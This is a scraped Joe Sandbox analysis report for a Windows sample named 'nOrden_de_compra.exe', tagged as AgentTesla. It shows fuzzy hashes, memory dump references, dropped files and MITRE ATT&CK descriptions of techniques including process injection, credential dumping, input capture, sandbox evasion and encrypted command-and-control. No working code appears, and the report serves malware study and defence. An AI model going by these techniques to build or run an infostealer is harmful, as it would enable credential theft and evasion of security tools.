API String ID:
Opcode ID: ae27aec3b641eab7ccba6ca90514333b63d448dfa56426a05be0f4f77ec8c28a
Instruction ID: df4cc3a7b927ddf7f6c1369b60f27c5f7e49302fef538ae73ea54088cbae2f02
Opcode Fuzzy Hash: ae27aec3b641eab7ccba6ca90514333b63d448dfa56426a05be0f4f77ec8c28a
Instruction Fuzzy Hash: BAF0A032E202289BDB24A9A6EC009DAB73AF784350F004469ED11EB284DA71A801CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 065B831F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4545420049.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_65b0000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 015c36d806683df7fecafebeaf403875b65a30e1e122a197901c2d30cd12f6b8
Instruction ID: 7b95a58d99478738c9e0965bc0721504b44f77814664d39d0dedbf57194c9d05
Opcode Fuzzy Hash: 015c36d806683df7fecafebeaf403875b65a30e1e122a197901c2d30cd12f6b8
Instruction Fuzzy Hash: FFF08C35E04116CFEF689E40ED406ECB7B8FB41312F2A3862C802E7160C371DA86DB90

Uniqueness

Uniqueness Score: -1.00%

Function 065B64A9 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4545420049.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_65b0000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea47b0ca29f37f5505461caff6e4f71d8e4e5899303e7b3a265508de7c45e17
Instruction ID: 74d93822050f8a1b1ad85cdd18bb25a890dc44b7f627a0b374e39d0d7edd5148
Opcode Fuzzy Hash: 7ea47b0ca29f37f5505461caff6e4f71d8e4e5899303e7b3a265508de7c45e17
Instruction Fuzzy Hash: C1E06830E0824C6BDB10CA70CD5678B3BACF702204F1088F6D004D7242E13ACE008B40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nOrden_de_compra.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nNdsLvHyWi.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nOrden_de_compra.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14tka4c1.qth.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1mmbscup.p3z.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cnlyqka.ehs.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eywchjxc.2rc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjlbkade.1bd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_msfq2y0i.iiq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogiio1gg.mzn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zaek2ygi.f0r.ps1

C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp

C:\Users\user\AppData\Local\Temp\tmpE302.tmp

Windows Analysis Report
nOrden_de_compra.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre